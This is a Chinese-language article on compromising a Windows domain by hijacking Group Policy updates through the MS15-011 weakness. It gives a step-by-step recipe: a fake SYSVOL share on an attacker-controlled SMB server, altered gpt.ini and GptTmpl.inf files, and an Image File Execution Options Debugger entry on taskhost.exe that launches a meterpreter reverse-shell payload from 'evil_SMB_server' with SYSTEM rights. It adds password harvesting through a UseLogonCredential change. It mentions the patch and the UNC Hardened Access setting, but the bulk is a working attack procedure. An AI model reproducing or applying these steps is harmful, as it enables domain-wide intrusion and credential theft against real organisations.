说在前面
windows Domain 中文翻译为域,域既是 Windows 网络操作系统的逻辑组织单元,也是Internet的逻辑组织单元。它是由所有的用户计算机,打印机,用户账户和其他的安全主体组成,被域控制器管理。
域是微软提供给企业的一个局域网管理措施,使得信息技术人员能高效的管理和维护局域网中所有的主机和用户。域位于每一个企业最核心的位置,在域上运行着大量的企业核心应用,如邮件系统,协同办公系统,文件共享系统等。
在网络渗透攻击中,攻击者如果获取了域的权限,那么攻击者就有可能获取公司的机密,控制公司的一切。所以域安全是企业安全最为核心的一个环节,并且微软对域本身也在进行不断的安全加固。
NSA泄漏的文档和工具让人们明白了网络的底层设备是多么的不堪一击,但是部分运维人员和安全人员仍然抱有幻想,只要养成正确的计算机使用习惯,不安全的底层网络很难威胁到域的安全,但是事实往往不是这样,Windows域本身十分脆弱,尤其是在不安全的网络环境中,因为域是基于信任底层网络进行设计和建造的。
本文将利用另外一种方法,完成从底层网络入侵windows域。
原理分析
当底层网络被攻陷,攻击者就能轻易的劫持流量,伪造网络节点。而劫持流量攻击最基本的设计思路就是建立在一个假设之上,如果劫持了某个设备,能达到什么目的。
如果劫持了域控,能达到什么目的?
基于这个假设,进行了一系列测试,拿出其中一个测试与大家共同研究。
在微软的官网上有如下描述:
组策略是在基于 Active Directory 域服务 (AD DS)
的网络上访问和配置计算机及用户设置的最轻松易行的方式。如果您的企业未在使用组策略,那么将会错失降低成本、控制配置、使用户保持卓有成效和愉悦的心情以及增强安全性的大好机会。可以将使用组策略进行配置视为“一举多得”。
域控通过组策略完成对域内机器的进行配置的一种方式,windows域机器每间隔一段时间就会向域控制器请求更新组策略,以保证自身使用着最新的域策略。更新的过程是,域成员机器每间隔
90min+random()*30min ,向域控请求策略版本号,这个版本号存在于域控的gpt.ini文件中,位于
\\domian_name\sysvol\domain_name\Policies? |
文件夹中,文件内容为:
这个版本号如果等于自身版本号,那么系统就认为自身组策略是最新版本。然后重置计时器,等待下一个间隔去请求更新。
详细数据包请求过程如下图:
如果自身版本号小于返回的版本号,那么系统认为自身组策略以过时,就继续请求registry.pol
和GptTmpl.ini文件,详细数据包请求过程如下图:
而GptTmpl.inf文件,是一个模版文件,允许远程修改域成员的注册表。
如果劫持并且修改了GptTmpl.inf文件,就可以随意修改请求该文件域成员的注册表。利用劫持该文件入侵域的一种方式就是修改注册表给域机器添加启动项,等到机器重启时,就可以运行指定文件或者脚本。
但是面临着一个问题,必须等到该机器重新启动。该机器可能启动周期很长,攻击者的启动脚本或攻击payload存储的位置就必须持续保持,很不方便。之前CoreSecurity的测试POC时修改AppInit_DLL注册表键值,但是这个键值已经不启用很多年了。所以需要一个简便高效的方式。再经过多种利用测试之后,终于找到一种非常好用的方式,一个神奇的注册表键值:
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\currentversion\image file execution optin] |
通过修改这个键值,可以给任一windows程序添加一个debugger调试器。例如可以给cmd.exe添加一个调试器debugger.exe,这样你在启动cmd.exe
的时候,实际运行的为:
通过这种方式,可以给IE,Chrome或者其他什么用户可能会运行的程序添加一个调试器,这种方式明显会比等待用户重启要迅速的多。
即使是在用户权限受限制的情况下,依然可以通过组策略劫持的方式来对该机器的注册表进行修改。但是在劫持完成之后,必须对注册表进行清理,因为该调试程序不可能长久存在,那么之后用户可能无法启动该程序。并且修改键值需要管理员权限。
为了避免猜错用户使用的程序和较长的等待时间,经过多次测试找到了一个更好的解决办法。系统在更新组策略之后,会用系统权限创建一个新的进程
taskhost.exe ,即使该用户处于一个受限制的状态。所以给taskhost.exe程序创建一个调试器,这样就能在系统更新完粗策略后立刻获取一个system权限的shell。不需要漫长的等待,不需要重启,不需要用户的任何操作,一切都是静默中完成。
当然,这种劫持组策略执行命令的方式很早的时候就报告给了Microsoft,并且在2015年2月10日就发布安全公告
MS15-011并提供了补丁KB3000483。微软决定在用户端修复这个漏洞,强制使用“SMB Signing”。
但是,虽然这个漏洞在一年多前就已经发布安全公告,并且提供了相关补丁,但是这个补丁是默认不启用的。
在微软的官方公告中有这样一段话:
This security update requires the following
steps to be performed in order to protect against the
vulnerability described in the bulletin (MS15-011).
To enable this functionality, a system administrator
must apply the following Group Policy settings in addition
to installing security update 3000483.
其含义是:
系统管理员必须手动配置组策略,启用“UNC Hardened Access”来避免MS15-011漏洞所带来的安全风险。详细的配置策略在微软的官方网站,简单总结成了12个步骤,网页链接如下:
https://support.microsoft.com/en-us/kb/3000483
微软认为这是一个漏洞,并且提供了相关的补丁。但是这个补丁并不是默认启用,必须管理员手动配置12个步骤才能启用。
所以该漏洞大多数环境中依然可以被当作0DAY来使用。
测试
实验测试步骤如下:
1. 准备存放payload的SMB服务器和相应的payload
在该测试中,在攻击者机器上启用了SMB共享,创建一个映射为SYSVOL的目录,命令如下:
net?share?sysvol=C:\Users\TEST\Desktop\sysvol? |
或者直接使用界面开启共享,效果一样。在文件夹中创建树形结构,因为域机器在请求更新的时候只会请求固定位置的文件。文件结构如下:
─Domain_Name └─Policies └─{31B2F340-016D-11D2-945F-00C04FB984F9} │ gpt.ini │ └─Machine └─Microsoft └─Windows NT └─SecEdit GptTmpl.inf |
然后开启整个文件夹的匿名共享,允许任何人访问。
准备payload程序,本测试准备的是meterpreter_resver_tcp.exe,重命名为debugger.exe。
因为劫持方式不一样,如果选择直接修改数据包内容或者重新回包,可以不用创建树形结构目录,但是SMB的匿名共享文件夹是需要的,用来存放payload。
2. 劫持中需要修改的数据
首先修改Gpt.ini文件,将其中的版本号改为一个较大数字,方便起见改为1000,如下:
然后修改策略文件GptTmpl.ini,文件原内容如下:
[Unicode] Unicode=yes [System Access] MinimumPasswordAge = 1 MaximumPasswordAge = 42 MinimumPasswordLength = 7 PasswordComplexity = 1 PasswordHistorySize = 24 LockoutBadCount = 0 RequireLogonToChangePassword = 0 ForceLogoffWhenHourExpire = 0 ClearTextPassword = 0 LSAAnonymousNameLookup = 0 [Kerberos Policy] MaxTicketAge = 10 MaxRenewAge = 7 MaxServiceAge = 600 MaxClockSkew = 5 TicketValidateClient = 1 [Registry Values] MACHINE\System\CurrentControlSet\Control\Lsa\NoLMHash=4,1 [Version] signature="$CHICAGO$" Revision=1 |
然后按照设计进行相应的修改,简便起见,只添加修改注册表项,修改后的文件内容如下:
[Registry Values] MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskhost.exe\Debugger=1,
\\evil_SMB_server\sysvol\admin.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}
\Machine\Microsoft\Windows NT\SecEdit\muma_test.exe [Version] signature="$CHICAGO$" Revision=1 |
将“evil_SMB_server”替换成放置payload的服务器地址,将“debugger.exe”替换成payload文件。
3. 开始攻击
劫持流量到attacker上。在这里劫持流量的方式多种多样,LLMNR,,NBT-NS ,MDNS,ARP,bad_tunnel等等等什么都行,有一款很好用的软件,叫做Responder
github,但是本次试验是专门针对路由器流量劫持定制的程序来完成所有操作。
首先,client会tree一下整个文件夹,然后请求Gpt.ini,对比版本号,然后继续请求GptTmpl.ini文件,将文件中的注册表模版应用到注册表中。应用成功之后,下载并以debugger.exe作为调试器启动taskhost.exe程序,
然后稍等几秒:
done
获取了一台机器的最高控制权限。
最多等待120min,就可以获取到整个域机器的最高权限。除了域控制器,因为域控制器不会请求更新组策略。到那时如果域中有多个域控制器,它们之间会请求更新组策略,同样可以被劫持。
除了域控外的所有设备都获取了控制权限,已经基本可以在域中畅行无阻了。
针对域控,只能使用通过组策略创建替换登录脚本,添加启动项等方法中的一种。再或者,通过组策略添加登录脚本,修改注册表UseLogonCredential的键值,等机器完成重启就能批量抓取用户密码,因为域管理员不可能只在域控上登录。
或者使用其他的更好的方法 ,如有好的思路,请私信我,可以共同讨论测试。
这样就获取到了整个域的控制权限。
总结
底层网络设备很危险,并且底层网络能给上层应用和服务带来难以想象的影响。只是现在的安全圈子没有深刻认识到。 |